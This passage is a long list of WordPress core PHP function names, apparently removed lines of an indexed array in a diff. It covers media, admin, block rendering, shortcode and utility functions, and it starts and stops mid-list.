'image_add_caption', - 654 => '_cleanup_image_add_caption', - 655 => 'media_send_to_editor', - 656 => 'media_handle_upload', - 657 => 'media_handle_sideload', - 658 => 'wp_iframe', - 659 => 'media_buttons', - 660 => 'get_upload_iframe_src', - 661 => 'media_upload_form_handler', - 662 => 'wp_media_upload_handler', - 663 => 'media_sideload_image', - 664 => 'media_upload_gallery', - 665 => 'media_upload_library', - 666 => 'image_align_input_fields', - 667 => 'image_size_input_fields', - 668 => 'image_link_input_fields', - 669 => 'wp_caption_input_textarea', - 670 => 'image_attachment_fields_to_edit', - 671 => 'media_single_attachment_fields_to_edit', - 672 => 'media_post_single_attachment_fields_to_edit', - 673 => 'image_media_send_to_editor', - 674 => 'get_attachment_fields_to_edit', - 675 => 'get_media_items', - 676 => 'get_media_item', - 677 => 'get_compat_media_markup', - 678 => 'media_upload_header', - 679 => 'media_upload_form', - 680 => 'media_upload_type_form', - 681 => 'media_upload_type_url_form', - 682 => 'media_upload_gallery_form', - 683 => 'media_upload_library_form', - 684 => 'wp_media_insert_url_form', - 685 => 'media_upload_flash_bypass', - 686 => 'media_upload_html_bypass', - 687 => 'media_upload_text_after', - 688 => 'media_upload_max_image_resize', - 689 => 'multisite_over_quota_message', - 690 => 'edit_form_image_editor', - 691 => 'attachment_submitbox_metadata', - 692 => 'wp_add_id3_tag_data', - 693 => 'wp_read_video_metadata', - 694 => 'wp_read_audio_metadata', - 695 => 'wp_get_media_creation_timestamp', - 696 => 'wp_media_attach_action', - 697 => 'got_mod_rewrite', - 698 => 'got_url_rewrite', - 699 => 'extract_from_markers', - 700 => 'insert_with_markers', - 701 => 'save_mod_rewrite_rules', - 702 => 'iis7_save_url_rewrite_rules', - 703 => 'update_recently_edited', - 704 => 'wp_make_theme_file_tree', - 705 => 'wp_print_theme_file_tree', - 706 => 'wp_make_plugin_file_tree', - 707 => 'wp_print_plugin_file_tree', - 708 => 'update_home_siteurl', - 709 => 'wp_reset_vars', - 710 => 'show_message', - 711 => 'wp_doc_link_parse', - 712 => 'set_screen_options', - 713 => 'iis7_rewrite_rule_exists', - 714 => 'iis7_delete_rewrite_rule', - 715 => 'iis7_add_rewrite_rule', - 716 => 'saveDomDocument', - 717 => 'admin_color_scheme_picker', - 718 => 'wp_color_scheme_settings', - 719 => 'wp_admin_viewport_meta', - 720 => '_customizer_mobile_viewport_meta', - 721 => 'wp_check_locked_posts', - 722 => 'wp_refresh_post_lock', - 723 => 'wp_refresh_post_nonces', - 724 => 'wp_refresh_metabox_loader_nonces', - 725 => 'wp_refresh_heartbeat_nonces', - 726 => 'wp_heartbeat_set_suspension', - 727 => 'heartbeat_autosave', - 728 => 'wp_admin_canonical_url', - 729 => 'wp_page_reload_on_back_button_js', - 730 => 'update_option_new_admin_email', - 731 => '_wp_privacy_settings_filter_draft_page_titles', - 732 => 'wp_check_php_version', - 733 => '__', - 734 => '_x', - 735 => 'add_filter', - 736 => 'has_filter', - 737 => 'esc_attr', - 738 => 'apply_filters', - 739 => 'get_option', - 740 => 'is_lighttpd_before_150', - 741 => 'add_action', - 742 => 'did_action', - 743 => 'do_action_ref_array', - 744 => 'get_bloginfo', - 745 => 'is_admin', - 746 => 'site_url', - 747 => 'admin_url', - 748 => 'home_url', - 749 => 'includes_url', - 750 => 'wp_guess_url', - 751 => 'get_file', - 752 => 'wp_crop_image', - 753 => 'wp_get_missing_image_subsizes', - 754 => 'wp_update_image_subsizes', - 755 => '_wp_image_meta_replace_original', - 756 => 'wp_create_image_subsizes', - 757 => '_wp_make_subsizes', - 758 => 'wp_copy_parent_attachment_properties', - 759 => 'wp_generate_attachment_metadata', - 760 => 'wp_exif_frac2dec', - 761 => 'wp_exif_date2ts', - 762 => 'wp_read_image_metadata', - 763 => 'wp_get_image_alttext', - 764 => 'file_is_valid_image', - 765 => 'file_is_displayable_image', - 766 => 'load_image_to_edit', - 767 => '_load_image_to_edit_path', - 768 => '_copy_image_file', - 769 => 'tinymce_include', - 770 => 'documentation_link', - 771 => 'wp_shrink_dimensions', - 772 => 'get_udims', - 773 => 'dropdown_categories', - 774 => 'dropdown_link_categories', - 775 => 'get_real_file_to_edit', - 776 => 'wp_dropdown_cats', - 777 => 'add_option_update_handler', - 778 => 'remove_option_update_handler', - 779 => 'codepress_get_lang', - 780 => 'codepress_footer_js', - 781 => 'use_codepress', - 782 => 'get_author_user_ids', - 783 => 'get_editable_authors', - 784 => 'get_editable_user_ids', - 785 => 'get_nonauthor_user_ids', - 786 => 'get_others_unpublished_posts', - 787 => 'get_others_drafts', - 788 => 'get_others_pending', - 789 => 'wp_dashboard_quick_press_output', - 790 => 'wp_tiny_mce', - 791 => 'wp_preload_dialogs', - 792 => 'wp_print_editor_js', - 793 => 'wp_quicktags', - 794 => 'screen_layout', - 795 => 'screen_options', - 796 => 'screen_meta', - 797 => 'favorite_actions', - 798 => 'media_upload_image', - 799 => 'media_upload_audio', - 800 => 'media_upload_video', - 801 => 'media_upload_file', - 802 => 'type_url_form_image', - 803 => 'type_url_form_audio', - 804 => 'type_url_form_video', - 805 => 'type_url_form_file', - 806 => 'add_contextual_help', - 807 => 'get_allowed_themes', - 808 => 'get_broken_themes', - 809 => 'current_theme_info', - 810 => '_insert_into_post_button', - 811 => '_media_button', - 812 => 'get_post_to_edit', - 813 => 'get_default_page_to_edit', - 814 => 'wp_create_thumbnail', - 815 => 'wp_nav_menu_locations_meta_box', - 816 => 'wp_update_core', - 817 => 'wp_update_plugin', - 818 => 'wp_update_theme', - 819 => 'the_attachment_links', - 820 => 'screen_icon', - 821 => 'get_screen_icon', - 822 => 'wp_dashboard_incoming_links_output', - 823 => 'wp_dashboard_secondary_output', - 824 => 'wp_dashboard_incoming_links', - 825 => 'wp_dashboard_incoming_links_control', - 826 => 'wp_dashboard_plugins', - 827 => 'wp_dashboard_primary_control', - 828 => 'wp_dashboard_recent_comments_control', - 829 => 'wp_dashboard_secondary', - 830 => 'wp_dashboard_secondary_control', - 831 => 'wp_dashboard_plugins_output', - 832 => '_relocate_children', - 833 => 'add_object_page', - 834 => 'add_utility_page', - 835 => 'post_form_autocomplete_off', - 836 => 'options_permalink_add_js', - 837 => '_wp_privacy_requests_screen_options', - 838 => 'image_attachment_fields_to_save', - 839 => '_wp_menu_output', - 840 => 'list_core_update', - 841 => 'dismissed_updates', - 842 => 'core_upgrade_preamble', - 843 => 'core_auto_updates_settings', - 844 => 'list_plugin_updates', - 845 => 'list_theme_updates', - 846 => 'list_translation_updates', - 847 => 'do_core_upgrade', - 848 => 'do_dismiss_core_update', - 849 => 'do_undismiss_core_update', - 850 => 'setup_config_display_header', - 851 => 'wp_load_press_this', - 852 => '_wp_get_site_editor_redirection_url', - 853 => '_add_themes_utility_last', - 854 => '_add_plugin_file_editor_to_tools', - 855 => 'startElement', - 856 => 'endElement', - 857 => 'mysql2date', - 858 => 'current_time', - 859 => 'current_datetime', - 860 => 'wp_timezone_string', - 861 => 'wp_timezone', - 862 => 'date_i18n', - 863 => 'wp_date', - 864 => 'wp_maybe_decline_date', - 865 => 'number_format_i18n', - 866 => 'size_format', - 867 => 'human_readable_duration', - 868 => 'get_weekstartend', - 869 => 'maybe_serialize', - 870 => 'maybe_unserialize', - 871 => 'is_serialized', - 872 => 'is_serialized_string', - 873 => 'xmlrpc_getposttitle', - 874 => 'xmlrpc_getpostcategory', - 875 => 'xmlrpc_removepostdata', - 876 => 'wp_extract_urls', - 877 => 'do_enclose', - 878 => 'wp_get_http_headers', - 879 => 'is_new_day', - 880 => 'build_query', - 881 => '_http_build_query', - 882 => 'add_query_arg', - 883 => 'remove_query_arg', - 884 => 'wp_removable_query_args', - 885 => 'add_magic_quotes', - 886 => 'wp_remote_fopen', - 887 => 'wp', - 888 => 'get_status_header_desc', - 889 => 'status_header', - 890 => 'wp_get_nocache_headers', - 891 => 'nocache_headers', - 892 => 'cache_javascript_headers', - 893 => 'get_num_queries', - 894 => 'bool_from_yn', - 895 => 'do_feed', - 896 => 'do_feed_rdf', - 897 => 'do_feed_rss', - 898 => 'do_feed_rss2', - 899 => 'do_feed_atom', - 900 => 'do_robots', - 901 => 'do_favicon', - 902 => 'is_blog_installed', - 903 => 'wp_nonce_url', - 904 => 'wp_nonce_field', - 905 => 'wp_referer_field', - 906 => 'wp_original_referer_field', - 907 => 'wp_get_referer', - 908 => 'wp_get_raw_referer', - 909 => 'wp_get_original_referer', - 910 => 'wp_mkdir_p', - 911 => 'path_is_absolute', - 912 => 'path_join', - 913 => 'wp_normalize_path', - 914 => 'get_temp_dir', - 915 => 'wp_is_writable', - 916 => 'win_is_writable', - 917 => 'wp_get_upload_dir', - 918 => 'wp_upload_dir', - 919 => '_wp_upload_dir', - 920 => 'wp_unique_filename', - 921 => '_wp_check_alternate_file_names', - 922 => '_wp_check_existing_file_names', - 923 => 'wp_upload_bits', - 924 => 'wp_ext2type', - 925 => 'wp_get_default_extension_for_mime_type', - 926 => 'wp_check_filetype', - 927 => 'wp_check_filetype_and_ext', - 928 => 'wp_get_image_mime', - 929 => 'wp_get_mime_types', - 930 => 'wp_get_ext_types', - 931 => 'wp_filesize', - 932 => 'get_allowed_mime_types', - 933 => 'wp_nonce_ays', - 934 => 'wp_die', - 935 => '_default_wp_die_handler', - 936 => '_ajax_wp_die_handler', - 937 => '_json_wp_die_handler', - 938 => '_jsonp_wp_die_handler', - 939 => '_xmlrpc_wp_die_handler', - 940 => '_xml_wp_die_handler', - 941 => '_scalar_wp_die_handler', - 942 => '_wp_die_process_input', - 943 => 'wp_json_encode', - 944 => '_wp_json_sanity_check', - 945 => '_wp_json_convert_string', - 946 => '_wp_json_prepare_data', - 947 => 'wp_send_json', - 948 => 'wp_send_json_success', - 949 => 'wp_send_json_error', - 950 => 'wp_check_jsonp_callback', - 951 => 'wp_json_file_decode', - 952 => '_config_wp_home', - 953 => '_config_wp_siteurl', - 954 => '_delete_option_fresh_site', - 955 => '_mce_set_direction', - 956 => 'wp_is_serving_rest_request', - 957 => 'smilies_init', - 958 => 'wp_parse_args', - 959 => 'wp_parse_list', - 960 => 'wp_parse_id_list', - 961 => 'wp_parse_slug_list', - 962 => 'wp_array_slice_assoc', - 963 => 'wp_recursive_ksort', - 964 => '_wp_array_get', - 965 => '_wp_array_set', - 966 => '_wp_to_kebab_case', - 967 => 'wp_is_numeric_array', - 968 => 'wp_filter_object_list', - 969 => 'wp_list_filter', - 970 => 'wp_list_pluck', - 971 => 'wp_list_sort', - 972 => 'wp_maybe_load_widgets', - 973 => 'wp_widgets_add_menu', - 974 => 'wp_ob_end_flush_all', - 975 => 'dead_db', - 976 => '_deprecated_function', - 977 => '_deprecated_constructor', - 978 => '_deprecated_class', - 979 => '_deprecated_file', - 980 => '_deprecated_argument', - 981 => '_deprecated_hook', - 982 => '_doing_it_wrong', - 983 => 'wp_trigger_error', - 985 => 'apache_mod_loaded', - 986 => 'iis7_supports_permalinks', - 987 => 'validate_file', - 988 => 'force_ssl_admin', - 990 => 'wp_suspend_cache_addition', - 991 => 'wp_suspend_cache_invalidation', - 992 => 'is_main_site', - 993 => 'get_main_site_id', - 994 => 'is_main_network', - 995 => 'get_main_network_id', - 996 => 'is_site_meta_supported', - 997 => 'wp_timezone_override_offset', - 998 => '_wp_timezone_choice_usort_callback', - 999 => 'wp_timezone_choice', - 1000 => '_cleanup_header_comment', - 1001 => 'wp_scheduled_delete', - 1002 => 'get_file_data', - 1003 => '__return_true', - 1004 => '__return_false', - 1005 => '__return_zero', - 1006 => '__return_empty_array', - 1007 => '__return_null', - 1008 => '__return_empty_string', - 1009 => 'send_nosniff_header', - 1010 => '_wp_mysql_week', - 1011 => 'wp_find_hierarchy_loop', - 1012 => 'wp_find_hierarchy_loop_tortoise_hare', - 1013 => 'send_frame_options_header', - 1014 => 'wp_admin_headers', - 1015 => 'wp_allowed_protocols', - 1016 => 'wp_debug_backtrace_summary', - 1017 => '_get_non_cached_ids', - 1018 => '_validate_cache_id', - 1019 => '_device_can_upload', - 1020 => 'wp_is_stream', - 1021 => 'wp_checkdate', - 1022 => 'wp_auth_check_load', - 1023 => 'wp_auth_check_html', - 1024 => 'wp_auth_check', - 1025 => 'get_tag_regex', - 1026 => 'is_utf8_charset', - 1027 => '_canonical_charset', - 1028 => 'mbstring_binary_safe_encoding', - 1029 => 'reset_mbstring_encoding', - 1030 => 'wp_validate_boolean', - 1031 => 'wp_delete_file', - 1032 => 'wp_delete_file_from_directory', - 1033 => 'wp_post_preview_js', - 1034 => 'mysql_to_rfc3339', - 1035 => 'wp_raise_memory_limit', - 1036 => 'wp_generate_uuid4', - 1037 => 'wp_is_uuid', - 1038 => 'wp_unique_id', - 1039 => 'wp_unique_prefixed_id', - 1040 => 'wp_unique_id_from_values', - 1041 => 'wp_cache_get_last_changed', - 1042 => 'wp_cache_set_last_changed', - 1043 => 'wp_site_admin_email_change_notification', - 1044 => 'wp_privacy_anonymize_ip', - 1045 => 'wp_privacy_anonymize_data', - 1046 => 'wp_privacy_exports_dir', - 1047 => 'wp_privacy_exports_url', - 1048 => 'wp_schedule_delete_old_privacy_export_files', - 1049 => 'wp_privacy_delete_old_export_files', - 1050 => 'wp_get_update_php_url', - 1051 => 'wp_get_default_update_php_url', - 1052 => 'wp_update_php_annotation', - 1053 => 'wp_get_update_php_annotation', - 1054 => 'wp_get_direct_php_update_url', - 1055 => 'wp_direct_php_update_button', - 1056 => 'wp_get_update_https_url', - 1057 => 'wp_get_default_update_https_url', - 1058 => 'wp_get_direct_update_https_url', - 1059 => 'get_dirsize', - 1060 => 'recurse_dirsize', - 1061 => 'clean_dirsize_cache', - 1062 => 'wp_get_wp_version', - 1063 => 'is_wp_version_compatible', - 1064 => 'is_php_version_compatible', - 1065 => 'wp_fuzzy_number_match', - 1066 => 'wp_get_admin_notice', - 1067 => 'wp_admin_notice', - 1068 => 'wp_is_heic_image_mime_type', - 1069 => 'wp_fast_hash', - 1070 => 'wp_verify_fast_hash', - 1071 => 'fetch_rss', - 1072 => '_fetch_remote_file', - 1073 => '_response_to_rss', - 1074 => 'init', - 1075 => 'is_info', - 1076 => 'is_success', - 1077 => 'is_redirect', - 1078 => 'is_error', - 1079 => 'is_client_error', - 1080 => 'is_server_error', - 1081 => 'parse_w3cdtf', - 1082 => 'wp_rss', - 1083 => 'get_rss', - 1084 => 'wp_get_theme_preview_path', - 1085 => 'wp_attach_theme_preview_middleware', - 1086 => 'wp_block_theme_activate_nonce', - 1087 => 'wp_initialize_theme_preview_hooks', - 1088 => 'render_block_core_rss', - 1089 => 'register_block_core_rss', - 1090 => 'render_block_core_term_description', - 1091 => 'register_block_core_term_description', - 1092 => 'block_core_comment_template_render_comments', - 1093 => 'render_block_core_comment_template', - 1094 => 'register_block_core_comment_template', - 1095 => 'render_block_core_social_link', - 1096 => 'register_block_core_social_link', - 1097 => 'block_core_social_link_get_icon', - 1098 => 'block_core_social_link_get_name', - 1099 => 'block_core_social_link_services', - 1100 => 'block_core_social_link_get_color_styles', - 1101 => 'block_core_social_link_get_color_classes', - 1102 => 'render_block_core_icon', - 1103 => 'register_block_core_icon', - 1104 => 'render_block_core_read_more', - 1105 => 'register_block_core_read_more', - 1106 => 'block_core_shared_navigation_render_submenu_icon', - 1107 => 'block_core_shared_navigation_item_should_render', - 1108 => 'block_core_paragraph_add_class', - 1109 => 'register_block_core_paragraph', - 1110 => 'render_block_core_site_tagline', - 1111 => 'register_block_core_site_tagline', - 1112 => 'render_block_core_archives', - 1113 => 'block_core_archives_build_dropdown_script', - 1114 => 'register_block_core_archives', - 1115 => 'block_core_gallery_data_id_backcompatibility', - 1116 => 'block_core_gallery_render_context', - 1117 => 'block_core_gallery_render', - 1118 => 'register_block_core_gallery', - 1119 => 'block_core_details_set_img_fetchpriority_low', - 1120 => 'register_block_core_details', - 1121 => 'render_block_core_post_title', - 1122 => 'register_block_core_post_title', - 1123 => 'block_core_latest_posts_get_excerpt_length', - 1124 => 'render_block_core_latest_posts', - 1125 => 'register_block_core_latest_posts', - 1126 => 'block_core_latest_posts_migrate_categories', - 1127 => 'render_block_core_query_no_results', - 1128 => 'register_block_core_query_no_results', - 1129 => 'render_block_core_comment_author_name', - 1130 => 'register_block_core_comment_author_name', - 1131 => 'render_block_core_comments_pagination_next', - 1132 => 'register_block_core_comments_pagination_next', - 1133 => 'render_block_core_shortcode', - 1134 => 'register_block_core_shortcode', - 1135 => 'register_core_block_style_handles', - 1136 => 'register_core_block_types_from_metadata', - 1137 => 'wp_register_core_block_metadata_collection', - 1138 => 'render_block_core_comments_pagination_previous', - 1139 => 'register_block_core_comments_pagination_previous', - 1140 => 'render_block_core_query_total', - 1141 => 'register_block_core_query_total', - 1142 => 'render_block_core_post_terms', - 1143 => 'block_core_post_terms_build_variations', - 1144 => 'register_block_core_post_terms', - 1145 => 'render_block_core_post_comments_form', - 1146 => 'register_block_core_post_comments_form', - 1147 => 'post_comments_form_block_form_defaults', - 1148 => 'render_block_core_query_pagination', - 1149 => 'register_block_core_query_pagination', - 1150 => 'render_block_core_accordion', - 1151 => 'register_block_core_accordion', - 1152 => 'register_block_core_page_list_item', - 1153 => 'render_block_core_breadcrumbs', - 1154 => 'block_core_breadcrumbs_is_paged', - 1155 => 'block_core_breadcrumbs_create_page_number_item', - 1156 => 'block_core_breadcrumbs_create_item', - 1157 => 'block_core_breadcrumbs_get_post_title', - 1158 => 'block_core_breadcrumbs_get_hierarchical_post_type_breadcrumbs', - 1159 => 'block_core_breadcrumbs_get_term_ancestors_items', - 1160 => 'block_core_breadcrumbs_get_archive_breadcrumbs', - 1161 => 'block_core_breadcrumbs_get_terms_breadcrumbs', - 1162 => 'register_block_core_breadcrumbs', - 1163 => 'render_block_core_loginout', - 1164 => 'register_block_core_loginout', - 1165 => 'render_block_core_comments', - 1166 => 'register_block_core_comments', - 1167 => 'comments_block_form_defaults', - 1168 => 'enqueue_legacy_post_comments_block_styles', - 1169 => 'register_legacy_post_comments_block', - 1170 => 'render_block_core_post_featured_image', - 1171 => 'get_block_core_post_featured_image_overlay_element_markup', - 1172 => 'get_block_core_post_featured_image_border_attributes', - 1173 => 'register_block_core_post_featured_image', - 1174 => 'render_block_core_file', - 1175 => 'register_block_core_file', - 1176 => 'render_block_core_post_comments_count', - 1177 => 'register_block_core_post_comments_count', - 1178 => 'block_core_post_template_uses_featured_image', - 1179 => 'render_block_core_post_template', - 1180 => 'register_block_core_post_template', - 1181 => 'render_block_core_site_logo', - 1182 => 'register_block_core_site_logo_setting', - 1183 => 'register_block_core_site_icon_setting', - 1184 => 'register_block_core_site_logo', - 1185 => '_override_custom_logo_theme_mod', - 1186 => '_sync_custom_logo_to_site_logo', - 1187 => '_delete_site_logo_on_remove_custom_logo', - 1188 => '_delete_site_logo_on_remove_theme_mods', - 1189 => '_delete_site_logo_on_remove_custom_logo_on_setup_theme', - 1190 => '_delete_custom_logo_on_remove_site_logo', - 1191 => 'render_block_core_legacy_widget', - 1192 => 'register_block_core_legacy_widget', - 1193 => 'handle_legacy_widget_preview_iframe', - 1194 => 'render_block_core_query_pagination_next', - 1195 => 'register_block_core_query_pagination_next', - 1196 => 'block_core_heading_render', - 1197 => 'register_block_core_heading', - 1198 => 'render_block_core_comments_title', - 1199 => 'register_block_core_comments_title', - 1200 => 'render_block_core_post_date', - 1201 => 'register_block_core_post_date', - 1202 => 'render_block_core_navigation_overlay_close', - 1203 => 'register_block_core_navigation_overlay_close', - 1204 => 'render_block_core_term_template', - 1205 => 'register_block_core_term_template', - 1206 => 'render_block_core_site_title', - 1207 => 'register_block_core_site_title', - 1208 => 'register_block_core_pattern', - 1209 => 'render_block_core_pattern', - 1210 => 'render_block_core_comment_content', - 1211 => 'register_block_core_comment_content', - 1212 => 'render_block_core_search', - 1213 => 'register_block_core_search', - 1214 => 'classnames_for_block_core_search', - 1215 => 'apply_block_core_search_border_style', - 1216 => 'apply_block_core_search_border_styles', - 1217 => 'styles_for_block_core_search', - 1218 => 'get_typography_classes_for_block_core_search', - 1219 => 'get_typography_styles_for_block_core_search', - 1220 => 'get_border_color_classes_for_block_core_search', - 1221 => 'get_color_classes_for_block_core_search', - 1222 => 'block_core_list_render', - 1223 => 'register_block_core_list', - 1224 => 'block_core_navigation_submenu_render_submenu_icon', - 1225 => 'block_core_navigation_submenu_get_submenu_visibility', - 1226 => 'block_core_navigation_submenu_build_css_font_sizes', - 1227 => 'render_block_core_navigation_submenu', - 1228 => 'register_block_core_navigation_submenu', - 1229 => 'render_block_core_query_title', - 1230 => 'register_block_core_query_title', - 1231 => 'render_block_core_query_pagination_numbers', - 1232 => 'register_block_core_query_pagination_numbers', - 1233 => 'render_block_core_block', - 1234 => 'register_block_core_block', - 1235 => 'render_block_core_avatar', - 1236 => 'get_block_core_avatar_border_attributes', - 1237 => 'register_block_core_avatar', - 1238 => 'render_block_core_comment_date', - 1239 => 'register_block_core_comment_date', - 1240 => 'render_block_core_comment_reply_link', - 1241 => 'register_block_core_comment_reply_link', - 1242 => 'render_block_core_template_part', - 1243 => 'build_template_part_block_area_variations', - 1244 => 'build_template_part_block_instance_variations', - 1245 => 'build_template_part_block_variations', - 1246 => 'register_block_core_template_part', - 1247 => 'render_block_core_video', - 1248 => 'register_block_core_video', - 1249 => 'render_block_core_calendar', - 1250 => 'register_block_core_calendar', - 1251 => 'block_core_calendar_has_published_posts', - 1252 => 'block_core_calendar_update_has_published_posts', - 1253 => 'block_core_calendar_update_has_published_post_on_delete', - 1254 => 'block_core_calendar_update_has_published_post_on_transition_post_status', - 1255 => 'wp_latest_comments_draft_or_post_title', - 1256 => 'render_block_core_latest_comments', - 1257 => 'register_block_core_latest_comments', - 1258 => 'render_block_core_post_author_name', - 1259 => 'register_block_core_post_author_name', - 1260 => 'render_block_core_media_text', - 1261 => 'register_block_core_media_text', - 1262 => 'render_block_core_cover', - 1263 => 'register_block_core_cover', - 1264 => 'render_block_core_query_pagination_previous', - 1265 => 'register_block_core_query_pagination_previous', - 1266 => 'render_block_core_post_author', - 1267 => 'register_block_core_post_author', - 1268 => 'block_core_accordion_item_render', - 1269 => 'register_block_core_accordion_item', - 1270 => 'block_core_post_time_to_read_word_count', - 1271 => 'render_block_core_post_time_to_read', - 1272 => 'register_block_core_post_time_to_read', - 1273 => 'render_block_core_comments_pagination', - 1274 => 'register_block_core_comments_pagination', - 1275 => 'render_block_core_widget_group', - 1276 => 'register_block_core_widget_group', - 1277 => 'note_sidebar_being_rendered', - 1278 => 'discard_sidebar_being_rendered', - 1279 => 'block_core_page_list_get_submenu_visibility', - 1280 => 'block_core_page_list_build_css_colors', - 1281 => 'block_core_page_list_build_css_font_sizes', - 1282 => 'block_core_page_list_render_nested_page_list', - 1283 => 'block_core_page_list_nest_pages', - 1284 => 'render_block_core_page_list', - 1285 => 'register_block_core_page_list', - 1286 => 'render_block_core_query', - 1287 => 'register_block_core_query', - 1288 => 'block_core_query_disable_enhanced_pagination', - 1289 => 'render_block_core_categories', - 1290 => 'build_dropdown_script_block_core_categories', - 1291 => 'register_block_core_categories', - 1292 => 'render_block_core_term_name', - 1293 => 'register_block_core_term_name', - 1294 => 'render_block_core_post_comments_link', - 1295 => 'register_block_core_post_comments_link', - 1296 => 'render_block_core_comment_edit_link', - 1297 => 'register_block_core_comment_edit_link', - 1298 => 'render_block_core_footnotes', - 1299 => 'register_block_core_footnotes', - 1300 => 'register_block_core_footnotes_post_meta', - 1301 => 'wp_add_footnotes_to_revision', - 1302 => 'wp_get_footnotes_from_revision', - 1303 => 'render_block_core_post_author_biography', - 1304 => 'register_block_core_post_author_biography', - 1305 => 'render_block_core_comments_pagination_numbers', - 1306 => 'register_block_core_comments_pagination_numbers', - 1307 => 'block_core_navigation_link_build_css_colors', - 1308 => 'block_core_navigation_link_build_css_font_sizes', - 1309 => 'block_core_navigation_link_maybe_urldecode', - 1310 => 'render_block_core_navigation_link', - 1311 => 'build_variation_for_navigation_link', - 1312 => 'block_core_navigation_link_filter_variations', - 1313 => 'block_core_navigation_link_build_variations', - 1314 => 'register_block_core_navigation_link', - 1315 => 'render_block_core_tag_cloud', - 1316 => 'register_block_core_tag_cloud', - 1317 => 'render_block_core_post_content', - 1318 => 'register_block_core_post_content', - 1319 => 'render_block_core_image', - 1320 => 'block_core_image_get_lightbox_settings', - 1321 => 'block_core_image_render_lightbox', - 1322 => 'block_core_image_print_lightbox_overlay', - 1323 => 'register_block_core_image', - 1324 => 'block_core_navigation_get_submenu_visibility', - 1325 => 'block_core_navigation_get_menu_items_at_location', - 1326 => 'block_core_navigation_sort_menu_items_by_parent_id', - 1327 => 'block_core_navigation_get_inner_blocks_from_unstable_location', - 1328 => 'block_core_navigation_overlay_html_has_close_block', - 1329 => 'block_core_navigation_add_directives_to_overlay_close', - 1330 => 'block_core_navigation_set_overlay_image_fetch_priority', - 1331 => 'block_core_navigation_add_directives_to_submenu', - 1332 => 'block_core_navigation_build_css_colors', - 1333 => 'block_core_navigation_build_css_font_sizes', - 1334 => 'block_core_navigation_filter_out_empty_blocks', - 1335 => 'block_core_navigation_block_tree_has_block_type', - 1336 => 'block_core_navigation_block_contains_core_navigation', - 1337 => 'block_core_navigation_get_fallback_blocks', - 1338 => 'block_core_navigation_get_post_ids', - 1339 => 'block_core_navigation_from_block_get_post_ids', - 1340 => 'render_block_core_navigation', - 1341 => 'register_block_core_navigation', - 1342 => 'block_core_navigation_typographic_presets_backcompatibility', - 1343 => 'block_core_navigation_parse_blocks_from_menu_items', - 1344 => 'block_core_navigation_get_classic_menu_fallback', - 1345 => 'block_core_navigation_get_classic_menu_fallback_blocks', - 1346 => 'block_core_navigation_maybe_use_classic_menu_fallback', - 1347 => 'block_core_navigation_get_most_recently_published_navigation', - 1348 => 'render_block_core_post_excerpt', - 1349 => 'register_block_core_post_excerpt', - 1350 => 'block_core_post_excerpt_excerpt_length', - 1351 => 'render_block_core_post_navigation_link', - 1352 => 'register_block_core_post_navigation_link', - 1353 => 'block_core_home_link_build_css_colors', - 1354 => 'block_core_home_link_build_css_font_sizes', - 1355 => 'block_core_home_link_build_li_wrapper_attributes', - 1356 => 'render_block_core_home_link', - 1357 => 'register_block_core_home_link', - 1358 => 'render_block_core_button', - 1359 => 'register_block_core_button', - 1360 => 'render_block_core_term_count', - 1361 => 'register_block_core_term_count', - 1362 => 'add_shortcode', - 1363 => 'remove_shortcode', - 1364 => 'remove_all_shortcodes', - 1365 => 'shortcode_exists', - 1366 => 'has_shortcode', - 1367 => 'get_shortcode_tags_in_content', - 1368 => 'apply_shortcodes', - 1369 => 'do_shortcode', - 1370 => '_filter_do_shortcode_context', - 1371 => 'get_shortcode_regex', - 1372 => 'do_shortcode_tag', - 1373 => 'do_shortcodes_in_html_tags', - 1374 => 'unescape_invalid_shortcodes', - 1375 => 'get_shortcode_atts_regex', - 1376 => 'shortcode_parse_atts', - 1377 => 'shortcode_atts', - 1378 => 'strip_shortcodes', - 1379 => 'strip_shortcode_tag', - 1380 => 'remove_block_asset_path_prefix', - 1381 => 'generate_block_asset_handle', - 1382 => 'get_block_asset_url', - 1383 => 'register_block_script_module_id', - 1384 => 'register_block_script_handle', - 1385 => 'register_block_style_handle', - 1386 => 'get_block_metadata_i18n_schema', - 1387 => 'wp_register_block_types_from_metadata_collection', - 1388 => 'wp_register_block_metadata_collection', - 1389 => 'register_block_type_from_metadata', - 1390 => 'register_block_type', - 1391 => 'unregister_block_type', - 1392 => 'has_blocks', - 1393 => 'has_block', - 1394 => 'get_dynamic_block_names', - 1395 => 'get_hooked_blocks', - 1396 => 'insert_hooked_blocks', - 1397 => 'set_ignored_hooked_blocks_metadata', - 1398 => 'apply_block_hooks_to_content', - 1399 => 'apply_block_hooks_to_content_from_post_object', - 1400 => 'remove_serialized_parent_block', - 1401 => 'extract_serialized_parent_block', - 1402 => 'update_ignored_hooked_blocks_postmeta', - 1403 => 'insert_hooked_blocks_and_set_ignored_hooked_blocks_metadata', - 1404 => 'insert_hooked_blocks_into_rest_response', - 1405 => 'make_before_block_visitor', - 1406 => 'make_after_block_visitor', - 1407 => 'serialize_block_attributes', - 1408 => 'strip_core_block_namespace', - 1409 => 'get_comment_delimited_block_content', - 1410 => 'serialize_block', - 1411 => 'serialize_blocks', - 1412 => 'traverse_and_serialize_block', - 1413 => 'resolve_pattern_blocks', - 1414 => 'traverse_and_serialize_blocks', - 1415 => 'filter_block_content', - 1416 => '_filter_block_content_callback', - 1417 => 'filter_block_kses', - 1418 => 'filter_block_kses_value', - 1419 => 'filter_block_core_template_part_attributes', - 1420 => 'excerpt_remove_blocks', - 1421 => 'excerpt_remove_footnotes', - 1422 => '_excerpt_render_inner_blocks', - 1423 => 'render_block', - 1424 => 'parse_blocks', - 1425 => 'do_blocks', - 1426 => '_restore_wpautop_hook', - 1427 => 'block_version', - 1428 => 'register_block_style', - 1429 => 'unregister_block_style', - 1430 => 'block_has_support', - 1431 => 'wp_migrate_old_typography_shape', - 1432 => 'build_query_vars_from_query_block', - 1433 => 'get_query_pagination_arrow', - 1434 => 'build_comment_query_vars_from_block', - 1435 => 'get_comments_pagination_arrow', - 1436 => '_wp_filter_post_meta_footnotes', - 1437 => '_wp_footnotes_kses_init_filters', - 1438 => '_wp_footnotes_remove_filters', - 1439 => '_wp_footnotes_kses_init', - 1440 => '_wp_footnotes_force_filtered_html_on_import_filter', - 1441 => '_wp_enqueue_auto_register_blocks', - 1442 => 'wp_get_global_settings', - 1443 => 'wp_get_global_styles', - 1444 => 'wp_get_global_stylesheet', - 1445 => 'wp_add_global_styles_for_blocks', - 1446 => 'wp_get_block_name_from_theme_json_path', - 1447 => 'wp_theme_has_theme_json', - 1448 => 'wp_clean_theme_json_cache', - 1449 => 'wp_get_theme_directory_pattern_slugs', - 1450 => 